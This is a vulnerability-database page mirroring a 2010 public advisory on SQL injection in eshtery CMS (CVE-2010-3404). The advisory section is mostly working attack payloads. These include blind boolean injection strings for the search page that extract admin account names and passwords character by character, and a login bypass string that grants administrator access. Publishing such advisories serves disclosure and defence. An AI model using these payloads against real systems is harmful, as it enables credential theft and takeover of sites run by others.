Lucene search
+L

eshtery CMS - SQL Injection

🗓️ 12 Sep 2010 00:00:00Reported by AbysssecType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

eshtery CMS SQL Injection Vulnerability Abysssec Inc Public Advisor

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2010-3404
12 Sep 201000:00
circl
cve
CVE
CVE-2010-3404
16 Sep 201019:39
cve
cvelist
Cvelist
CVE-2010-3404
16 Sep 201019:39
cvelist
euvd
EUVD
EUVD-2010-3402
7 Oct 202500:30
euvd
nvd
NVD
CVE-2010-3404
16 Sep 201020:00
nvd
prion
Prion
Sql injection
16 Sep 201020:00
prion
'''
  __  __  ____         _    _ ____
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/

http://www.exploit-db.com/moaub12-eshtery-cms-sql-injection-vulnerability/
'''


Abysssec Inc Public Advisory

  Title            :  eshtery CMS Sql Injection Vulnerability
  Affected Version :  eshtery copyrights 2003-2004
  Discovery        :  www.abysssec.com
  Vendor	   :  http://eshtery.she7ata.com/projects/eshtery/

  Demo  	   :  http://eshtery.she7ata.com/projects/eshtery/
  Download Links   :  http://sourceforge.net/projects/eshtery/


Description :
===========================================================================================
1) SQL Injection

  for successful injection in this cms you have to pass two steps.

   Step 1:
   ----------------------------------------------------------------------------------------
          Go to this path:
                 http://Example.com/catlgsearch.aspx

          and enter this value in Criteria field:
                 %') and 1=1 AND (Item.iname LIKE '%

          and click on "go" button. You will see that the data will be loaded.

          Now enter this value:
                 %') and 1=2 AND (Item.iname LIKE '%

          With this value no data will be loaded.


          So if we enter below value, with the following technique we can define the first character
          of AccName field of Admins table :
                 %') and 1=IIF((select mid(last(AccName),1,1) from (select top 1 AccName from admins))='a',1,2) AND (Item.iname LIKE '%

          If the first character is 'a', the data will be loaded. If not, you will see nothing.

          Second character:
                 %') and 1=IIF((select mid(last(AccName),2,1) from (select top 1 AccName from admins))='d',1,2) AND (Item.iname LIKE '%

          and respectivly you can acqure another characters.

          As a result, the first value of AccName field from Admins table acqured.

          With this method you can obtain the Password value of Admin from Admins table
          and going to other steps is not  necessary.


    Step 2:
   ----------------------------------------------------------------------------------------
          The value of AccName obtained in the first step(for example: admin).
          You can go to adminlogin.aspx page:
                 http://Example.com/adminlogin.aspx

          and enter this value to login:
                 username : admin' or '1'='1
        	 password : foo

          Now you are admin of site.




===========================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Sep 2010 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.00961
22